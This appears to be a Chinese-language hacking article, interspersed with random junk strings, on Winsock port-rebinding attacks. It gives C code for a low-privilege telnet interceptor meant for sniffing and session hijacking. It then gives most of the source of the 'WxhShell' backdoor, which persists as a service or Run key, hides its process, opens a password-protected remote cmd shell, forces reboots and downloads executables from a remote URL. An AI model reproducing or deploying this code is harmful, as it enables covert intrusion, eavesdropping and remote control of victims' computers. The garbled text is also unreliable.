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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xNzGp5H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;xZjt4M1 8LbwEKl saddr.sin_family = AF_INET; odCt6Du 6|zhqb|s saddr.sin_addr.s_addr = htonl(INADDR_ANY); TG%B:^Yz! $#q`Y+;L2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L.Qz29\ =eDIvNps 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OvtE)ul@
27EK+$ 这意味着什么?意味着可以进行如下的攻击: B1V{3 J#zr50@@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yd).}@ .!x&d4;,q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X` zWw_i v1TFzcHl< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BDTL5N G3~`]qf
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 x@t?7 o\& flsejj$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $-iEcxsi @1MnJP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J;C:nE|V
7l D-|yx 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -QrC>3xZR |_V(^b} #include ~SnUnNDm ` #include wDJ`#"5p{ #include 5~L]zE #include 5% 2A[B DWORD WINAPI ClientThread(LPVOID lpParam); Y{p$% int main() BAf$tyh { tAdE<).! WORD wVersionRequested; ^7-zwl(>?N DWORD ret; #c^V% WSADATA wsaData; :?>7Z6 BOOL val; MUO<o SOCKADDR_IN saddr; 5*AXL.2ih SOCKADDR_IN scaddr; FSIiw#xzH int err; 54gr'qvr SOCKET s; JvpGxj SOCKET sc; &{}Mds int caddsize; .Pb-{!$Ni HANDLE mt; .%zcm DWORD tid; CU'JvVe3 wVersionRequested = MAKEWORD( 2, 2 ); t|aV:x err = WSAStartup( wVersionRequested, &wsaData ); 2 !s&|lI if ( err != 0 ) { szI7I$Qb printf("error!WSAStartup failed!\n"); f"ZlJV a return -1; Yj%]|E- } B5b:znW2@ saddr.sin_family = AF_INET; %#HU~X: . %RM8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 at: li xa>| k>I saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dzf2`@8# saddr.sin_port = htons(23); YuX JT* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "mlQ z4D)5 { (WM3(US| printf("error!socket failed!\n"); j[>cv;h
; return -1; l/eF
P } +r:g }iR val = TRUE; 3/G^V'Yu //SO_REUSEADDR选项就是可以实现端口重绑定的 }9~^}99} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XzUGlrp:Y# { ~>2uRjvkwB printf("error!setsockopt failed!\n"); AK:cDKBO return -1; iOE. .xA: } {o=?@ $6C //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >=~\b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xoaO=7\io //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 } M#e\neii [>=!$>>;8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -d ntV= { odRiCiMH ret=GetLastError(); YOCEEh? printf("error!bind failed!\n"); "M I';6 return -1; %y1!'R:ZW } *@U{[J listen(s,2); &!!*xv-z while(1) .Y)[c.,j { 04a
^jjc caddsize = sizeof(scaddr); I>c,Bo7 //接受连接请求 Dk1& <} I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _;lw,;ftA if(sc!=INVALID_SOCKET) >oh H4: { ho]:)!|VY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g=*jKSZ if(mt==NULL) lC i{v. { FpoHm%+ printf("Thread Creat Failed!\n"); Lvk}% ,S8t break; rfXxg^ } kfy!T rf } . "Ms7= CloseHandle(mt); $Y/9SD
} q
z)2a2C closesocket(s); }^"6 :;, WSACleanup(); 7Ai?}%b- return 0; p/H.bG!z } Ni$'#
W?t DWORD WINAPI ClientThread(LPVOID lpParam) |tXA$}"L8 { TlG>)Z@/ SOCKET ss = (SOCKET)lpParam; J<)qw SOCKET sc; 53Adic unsigned char buf[4096]; ]#!uke Q SOCKADDR_IN saddr; 1? >P3C long num; blO4)7m DWORD val; aSR-.r DWORD ret; xtV+Le% //如果是隐藏端口应用的话,可以在此处加一些判断 ofvR0yV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 `e[S Zj\ saddr.sin_family = AF_INET;
;vn0%g saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xR7ZqTcw saddr.sin_port = htons(23); N?GTfN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #3uv^m LGa { bcIae0LZ printf("error!socket failed!\n"); iP:i6U] return -1; %6K7uvTq } %nA})nA7= val = 100; @"w4R6l+* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0G%9
@^B { #w$Y1bjn ret = GetLastError(); hpdI5 return -1; 9QZaa(vN } -V$|t< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Im]@#X { a ~o<>H ret = GetLastError(); P^Hgm return -1; {v={q1 } "be\%W+< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kG^76dAQL { -@Ap;,= printf("error!socket connect failed!\n"); ns[/M~_r closesocket(sc); 8$FH;= closesocket(ss); L!f~Am:# return -1; Bk8}K=%w } }U]jy while(1) W'G|sk { LKN7Lkl //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c[@_t.%) //如果是嗅探内容的话,可以再此处进行内容分析和记录 5Ds[? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;`AB- num = recv(ss,buf,4096,0); ixTjXl2g if(num>0) 2mY!gVi send(sc,buf,num,0); V 6}5^W else if(num==0) O>`k@X@9/ break; oZ{,IZ45 num = recv(sc,buf,4096,0); _{|a<Keq| if(num>0) ~ !uX"F8Xl send(ss,buf,num,0); }G4I9Py else if(num==0) 'h$:~C break; g-3^</_fZ } `
w;Wud'*< closesocket(ss); cXXZ'y>FP closesocket(sc); !Uiq3s`1T return 0 ; QO@86{u#Y } =OufafZb Y7GsL7I
bPsvoG ========================================================== 082}=Tsx ]($ \7+ 下边附上一个代码,,WXhSHELL #H$lBCWI !~
o%KQt ========================================================== (bm^R-SbB pPL=(9d #include "stdafx.h" aEf3hB* ~ l|q-kRRjn #include <stdio.h> " {<X! ^u> #include <string.h> {S0-y #include <windows.h> w4fKh #include <winsock2.h> f
)Lcs #include <winsvc.h> ?N4FB*x #include <urlmon.h> wx-\@{E _2KIe(,; #pragma comment (lib, "Ws2_32.lib") L|1,/h
8p #pragma comment (lib, "urlmon.lib") NQD5=/o tE%g)hL- #define MAX_USER 100 // 最大客户端连接数 2:
QT`e& #define BUF_SOCK 200 // sock buffer NX\AQVy9 #define KEY_BUFF 255 // 输入 buffer i]n2\v AG (iKJ~bJ #define REBOOT 0 // 重启 EIw]
9;'_ #define SHUTDOWN 1 // 关机 %OoH<\w
w
^cZ< .d2 #define DEF_PORT 5000 // 监听端口 cfmLErkp DN:|
s+Lz #define REG_LEN 16 // 注册表键长度 5mamWPw #define SVC_LEN 80 // NT服务名长度 ge`GQ> 4?Y7.:x // 从dll定义API :E}y
Pcw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cl'$*h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Hn >VPz+I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G:*vV#K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \MEBQ lEl.'X$ // wxhshell配置信息 ezw*Lo! struct WSCFG { 4AN8Sx( int ws_port; // 监听端口 *=i&n> char ws_passstr[REG_LEN]; // 口令 yF\yxdUX# int ws_autoins; // 安装标记, 1=yes 0=no @Ommd{0M char ws_regname[REG_LEN]; // 注册表键名 % PzkV s char ws_svcname[REG_LEN]; // 服务名 ECt<\h7} char ws_svcdisp[SVC_LEN]; // 服务显示名 XaCvBQ char ws_svcdesc[SVC_LEN]; // 服务描述信息 'v^Vg char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n*"r!&Dg int ws_downexe; // 下载执行标记, 1=yes 0=no "BsK'yo. char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" j7)mC4o:% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dQT[pNp: o/3.U=px~ }; Yuw:W:wY Mf14> `<` // default Wxhshell configuration M(L6PyEa!Y struct WSCFG wscfg={DEF_PORT, t Cb34Wpf "xuhuanlingzhe", w71YA#cg 1, #OPEYJ;*9d "Wxhshell", I;Mm +5A "Wxhshell", FD[*Q2fU "WxhShell Service", fV4rVy8 "Wrsky Windows CmdShell Service", keC'/\e "Please Input Your Password: ", :!MEBqcU 1, uGz)Vz&3 " http://www.wrsky.com/wxhshell.exe", |dQz(z&6{5 "Wxhshell.exe" f2[R2sto@ }; rO>'QZ% @\nQ{\^; // 消息定义模块 }$z(?b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #I?Z,;DI= char *msg_ws_prompt="\n\r? for help\n\r#>"; UhqTn$=fb char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9;Z{++z char *msg_ws_ext="\n\rExit."; zHA::6OgPN char *msg_ws_end="\n\rQuit."; Yw#fQFm char *msg_ws_boot="\n\rReboot..."; Hy4;i^Ik < char *msg_ws_poff="\n\rShutdown..."; b9rQQS char *msg_ws_down="\n\rSave to "; Hk;;+ '-
e4N d char *msg_ws_err="\n\rErr!"; lv=q( & char *msg_ws_ok="\n\rOK!"; iO?AY R_B0CM<! char ExeFile[MAX_PATH]; ~<!j]@. int nUser = 0; Ik^^8@z HANDLE handles[MAX_USER]; 5@+?{Cl int OsIsNt; %:'G={G`QH {Vj&i.2, SERVICE_STATUS serviceStatus; Bk\Y v0 SERVICE_STATUS_HANDLE hServiceStatusHandle; @Pk<3.S0 )Xg5=zn$ // 函数声明 >BO$tbU5b
int Install(void); ld]*J}cw int Uninstall(void); jz_Y|"{`v int DownloadFile(char *sURL, SOCKET wsh); s1Acl\l-uF int Boot(int flag); .F8[;+ void HideProc(void); J@:Q( int GetOsVer(void); zEU[u7% int Wxhshell(SOCKET wsl); N<i5X.X void TalkWithClient(void *cs); *gH]R*Q[Rt int CmdShell(SOCKET sock); V3ozaVk; int StartFromService(void); *Z"`g
%,; int StartWxhshell(LPSTR lpCmdLine); iV/I909*'' hUi@T}aA| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -B#1+rUW VOID WINAPI NTServiceHandler( DWORD fdwControl ); WGn=3(4 GqxnB k1 // 数据结构和表定义 f2x!cL|Kx? SERVICE_TABLE_ENTRY DispatchTable[] = 9{OO'at? { 0\:=KIY. {wscfg.ws_svcname, NTServiceMain}, H9)n<r {NULL, NULL} R ?iCJ5 m }; @
&N SM8N*WdiU // 自我安装 4+q,[m-$( int Install(void) q~
aFV<Q { *@' 'OyL char svExeFile[MAX_PATH]; |gI>Sp%Fu HKEY key; :ZY%-]u7 strcpy(svExeFile,ExeFile); _aevaWtEx f;^ +q-Q // 如果是win9x系统,修改注册表设为自启动 u!|_bI3 if(!OsIsNt) { IOZw[9](+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5zBA ]1PY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /al56n RegCloseKey(key); 7JBs7LG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7FoX)54" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fE~KWLm RegCloseKey(key); B{&W|z{$ return 0; SX"|~Pi( } d.+ } U!q2bF<@ } IrL7%? else { +8zACs{p dP_QkO // 如果是NT以上系统,安装为系统服务 :4V5p
=v- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1rZ E2 if (schSCManager!=0) ^WB[uFt- { E7/UsUV. SC_HANDLE schService = CreateService ]7_>l> ( $a~ schSCManager, n~6$CQ5dF( wscfg.ws_svcname, k*;U?C! wscfg.ws_svcdisp, ;xiN<f4B SERVICE_ALL_ACCESS, n)X%&_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L;opQ~g SERVICE_AUTO_START, Z~Q5<A9Jz SERVICE_ERROR_NORMAL, )q_,V" svExeFile, e=VSO!(rY NULL, NOs00 H NULL, e">&B]#} NULL, vxPE=!| NULL, ]~]TZb NULL 9e`};DE ); VgXT4gO! if (schService!=0) E|;>!MMA; { c\ZI
5&4jT CloseServiceHandle(schService); ub8d]GZJ CloseServiceHandle(schSCManager); E'{:HX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 17'd~-lE strcat(svExeFile,wscfg.ws_svcname); l tNI+G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O<p=&=TD7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (enr{1 RegCloseKey(key); Wy-_}wqHg return 0; %TI3Eb } } OIe! } mxCneX CloseServiceHandle(schSCManager); 392(N( } @:w^j0+h } u^SInanw #Db^* return 1; vW.f`J,\D' } . h)VR
5?j -l}"DP
_ // 自我卸载 r Yt|[Pk int Uninstall(void) ;rL>{UhG { rx|
,DI HKEY key; >.UEs8QV rCqwJoC`v if(!OsIsNt) { N>EMVUVS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zfDfy!\2_ RegDeleteValue(key,wscfg.ws_regname); \h[*oeh RegCloseKey(key); K+/wJ9^B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zK~_e\m RegDeleteValue(key,wscfg.ws_regname); p&\QkI= RegCloseKey(key); dCn9]cj/ return 0; .I|b9$V } p5rq>&" } MA9E??p3\ } u)EtEl7Wq else { LR.]&(kyd _T.`+0UV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v"
#8^q if (schSCManager!=0) KgYQxEbIW { ]srL>29_b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "MzBy)4Q if (schService!=0) d\Up6F { jp_)NC/~g if(DeleteService(schService)!=0) { -h|[8UG^b CloseServiceHandle(schService); i0\]^F CloseServiceHandle(schSCManager); d$\n@}8eZp return 0; 4VF]tX?o } ' p!&&.% CloseServiceHandle(schService); Q>X1 :Zn3 } 7^.g\Kt? CloseServiceHandle(schSCManager); TG?>;It& } !}mM"|< } zvnd@y{[ ,
DuyPBAms return 1; mV}8s]29 } LD WYFOGQ V@z/%=PJ // 从指定url下载文件 It'kO jx] int DownloadFile(char *sURL, SOCKET wsh) 2b\h@VJt { b~ig$!N] HRESULT hr; \
D>!& char seps[]= "/"; 8rBa}v9 char *token; Ug#B( }/ char *file; B|^=2 >8s char myURL[MAX_PATH];
OS(Ua char myFILE[MAX_PATH]; d@ZXCiA}, (3x2^M8 strcpy(myURL,sURL); btC<>(kl& token=strtok(myURL,seps); c.-dwz while(token!=NULL) lUnC+w#[ { #8v l2qWbi file=token; HD$r<bl token=strtok(NULL,seps); Qdc#v\B } MnY}U",
N-<,wUxf GetCurrentDirectory(MAX_PATH,myFILE); 04X/(74 strcat(myFILE, "\\"); ?5 6;<%0 strcat(myFILE, file); h=au`o&CG send(wsh,myFILE,strlen(myFILE),0); :Ef$[_S> send(wsh,"...",3,0); SrWmV@"y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@[$q1Nm if(hr==S_OK) Rh@UxNy\, return 0; 68qCY else Hb$wawy< return 1; #zn`)n Y$hLsM\% } 9M[ \S?;5LacZ // 系统电源模块 kQ6YQsJ.* int Boot(int flag) *ES"^N/88 { DT]3q4__Q HANDLE hToken; dlV HyCW TOKEN_PRIVILEGES tkp; I'R|B\ G>2: WQ/ if(OsIsNt) { _>{"vY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8\`otJY LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mL s>RR#b tkp.PrivilegeCount = 1; ?+{qmqN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =\jPnov! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <oTNo>U/k if(flag==REBOOT) { !V0)eC50 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3)dtl!VMW[ return 0; A LR`z~1 } C #@5:$ else { XXW.Uios if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ymcc|u6 $" return 0; l\=He } 2C&l\16 } Wl>$<D4mO[ else { G9c2kX.Bf if(flag==REBOOT) { >D$NEO^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rx(z:: return 0; Jy#21 } j2!^iGS} else { 4,6nk.$yN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }z wHUf9q1 return 0; b0Fr]oGp } l:"zYcp% } [JX=<a)U |Z{
DU(?[b return 1; [YQ` ` } 'sAs# ~_yz\;# // win9x进程隐藏模块 UYOR@x # void HideProc(void) 7{DSLKtN { }?z_sNrDk ! ^U!T\qDi HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,~xX[uB if ( hKernel != NULL ) @D&}ZV=J { =5X(RGK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6
g`Y~ii ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J*'#!
xIa FreeLibrary(hKernel); 9^1.nE(R& } :k.C|V!W tm280 return; p7Q
%)5o } N2S7=`5/T 1Igo9rv // 获取操作系统版本 Lr`G. e int GetOsVer(void) hiA%Tq? { lip1wR7 OSVERSIONINFO winfo; =WP`i29j9} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _^pg!j[Fy} GetVersionEx(&winfo);
d365{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
)\r;|DN return 1; O
E56J-*}x else #}{1>g{sXt return 0; cu V}<3& } }
h pTS_ /SDDCZ`;|c // 客户端句柄模块 ,k5b,}tN int Wxhshell(SOCKET wsl) kdHP
v=/U { ?sBbe@OC? SOCKET wsh; F)g.xQ struct sockaddr_in client; Ohmi(s
DWORD myID; ,|
EaW& 2 U[ $A=e?\Y while(nUser<MAX_USER) L=wg"$ { ?3
l4U int nSize=sizeof(client); g0BJj= wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :{Crc if(wsh==INVALID_SOCKET) return 1; WhHnF*I d;D8$q)8Q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); * -Kf if(handles[nUser]==0) $zvqjT:> closesocket(wsh); S4?N_"m9 else ch%-Cg~% nUser++; 9"YOj_z } eQUm!9) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,!RbFME&H T]%:+_,
return 0; k*8
ld-O } 'v"{frh >dW~o_u'QN // 关闭 socket 7EKQE>xj void CloseIt(SOCKET wsh) MWS=$N)v* { u-a* fT closesocket(wsh); B>CG/] nUser--; buRK\C ExitThread(0); ~fE6g3 } Y!6,ty' ;nPjyu'g // 客户端请求句柄 cb k|LQ.O void TalkWithClient(void *cs) )PU?`yLTr { OI9V'W$ q>T7};5m2 SOCKET wsh=(SOCKET)cs; Ifm|_ char pwd[SVC_LEN]; 4q`$nI Bi char cmd[KEY_BUFF]; Z[DiLXHL char chr[1]; 52$7vYMto int i,j; RfMrGC^? j z aC while (nUser < MAX_USER) { lkWID Q]Fm4 if(wscfg.ws_passstr) { IQFt4{aK3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y~ JCSzpU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); do2~LmeW //ZeroMemory(pwd,KEY_BUFF); wj fk > i=0; m8q3Pp while(i<SVC_LEN) { BTXS+mvl %E95R8SL // 设置超时 g.v)qB fd_set FdRead; ?NZKu6 struct timeval TimeOut; Im;8Abf FD_ZERO(&FdRead); :>U2yI FD_SET(wsh,&FdRead); u.wm;eK[ TimeOut.tv_sec=8; D@V1}/$UoN TimeOut.tv_usec=0; 7gR8Wr ^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E\V-<]o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y"GU"n~ D}SYv})Ti if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K|-?1)Um pwd =chr[0]; +?[,y if(chr[0]==0xd || chr[0]==0xa) { 3Zm'09A-. pwd=0; >^#OtFHuT) break; i2ap] } " h,<PF i++; as1ZLfN. } ~c>* 3* 5c btMNP // 如果是非法用户,关闭 socket &UhI1mi]h if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )$#]h]ac } 7tOOruiC gU7@}P send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P@ewr} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;P9P2&c8c E,I*E{nd9 while(1) { [|gh q 6#S}EaWf ZeroMemory(cmd,KEY_BUFF); L&wJ-}'l nezdk=8J/ // 自动支持客户端 telnet标准 I#0WN j=0; !`8WNY?K while(j<KEY_BUFF) { U$[C>~ r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3[kY:5- cmd[j]=chr[0]; =VMV^[&> if(chr[0]==0xa || chr[0]==0xd) { S/}6AX#F4 cmd[j]=0; h_K(8{1 break; o8+ZgXct } DPuz'e* j++; c[:OK9TH } yvxdl=s t.sbfLu // 下载文件 __p\`3(,' if(strstr(cmd,"http://")) { 1eC1Cyw send(wsh,msg_ws_down,strlen(msg_ws_down),0); k!e \O> + if(DownloadFile(cmd,wsh)) 90)0\i+P send(wsh,msg_ws_err,strlen(msg_ws_err),0); F+A"-k_\T# else 'p=5hsG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t^HQ=*c } F|K=]. else { #J.v[bOWQ b #U
nE switch(cmd[0]) { cE}R7,y csg:#-gE // 帮助 v,Lv4) case '?': { WVc3C-h, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +Hz});ix< break; w9I7pIIl } 8'Dp3x^W> // 安装 @OOnO+g case 'i': { 4`F(RweGx if(Install()) fY@Y$S`Fh send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jz D
Mx? else BKDs3?& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `IQ01FuP break; wD|,G!8E2 } Ad)Po // 卸载 J(*qOGBD case 'r': { {UpHHH:X# if(Uninstall()) :fI|>I
~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); -x~h.s, else 4`lt 4L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dR"H,$UH break; <
aeBhg% } |4uH // 显示 wxhshell 所在路径 :USN`" case 'p': { m(QGP\Ya char svExeFile[MAX_PATH]; CW*Kdt strcpy(svExeFile,"\n\r"); OjxaA[$ strcat(svExeFile,ExeFile); ,bT|:T@ny send(wsh,svExeFile,strlen(svExeFile),0);
nU]n]gd break; &7* |rshZ } m&/{iCwp // 重启 m1@ste;$W case 'b': { $o
rN>M42 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~l$u~:4Ob if(Boot(REBOOT)) @y%4BU&>0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); WP, Ll\K)7 else { P3|_RHIb closesocket(wsh); Oo'IeXQ9( ExitThread(0); %H=d_Nm{ } U M$\{$ break; W7I.S5 } s*`_Ka57]~ // 关机 FqQqjA case 'd': { gL%%2 }$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &u5OL?> if(Boot(SHUTDOWN)) 5WN^8`{'3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); +_Nr a else { e~tgd8a2a closesocket(wsh); _'9("m V ExitThread(0); (_S`9Z8= } 'n`+R~Kkh break; 6"@+Jz } JCoDe. // 获取shell ^mWOQ*zi; case 's': { ^(<Ecdz( CmdShell(wsh); [JAHPy=+w closesocket(wsh); V~j:!=b%v ExitThread(0); H&K(,4u^ break; hV5Aw;7C } H;('h#=cD // 退出 P%?|V_m case 'x': { 9Q{-4yF9k send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cM&5SyxiuE CloseIt(wsh); 4DhGp break; E'3=qTbiD } Ore>j+ // 离开 =l6aSr case 'q': { >b2j j+8 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ? yL3XB> closesocket(wsh); 2tz%A~}4 WSACleanup(); 0=N,y exit(1); '@4Myg* b break; \G}02h } 0ws1S(pq } `SDpOqfIrP } q-7C7q t8vR9]n // 提示信息 p
mv6m if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tC;LA 4 } m]C|8b7Y } c6v@6jzx0Y ~Mk{2;x return; ,1xX`: } )OjTn" @Z0?1+k // shell模块句柄 2~`lvx int CmdShell(SOCKET sock) 'p%aHK{ { QaAA@l STARTUPINFO si; Jo%`N#jG ZeroMemory(&si,sizeof(si)); 9;W2zcN si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PE!/ n6 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 91I6-7# Xt PROCESS_INFORMATION ProcessInfo; 9jwcO)p^ char cmdline[]="cmd"; YUGE>"{ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); irjOGn return 0; KGM9
b } Y.}"<{RQ p\;\hHai // 自身启动模式 l=|>9,La int StartFromService(void) kSW=DE|#} { EC9bCd-z typedef struct '=s{9lxn^ { #%Hk-a=>)# DWORD ExitStatus; 6XP>qI,AJ DWORD PebBaseAddress; Za[?CA DWORD AffinityMask; 0B}O&DC%| DWORD BasePriority; fnXYp
! ULONG UniqueProcessId; t`M4@1S"' ULONG InheritedFromUniqueProcessId; K#"J8h;x } PROCESS_BASIC_INFORMATION; _sp,,gz ]et
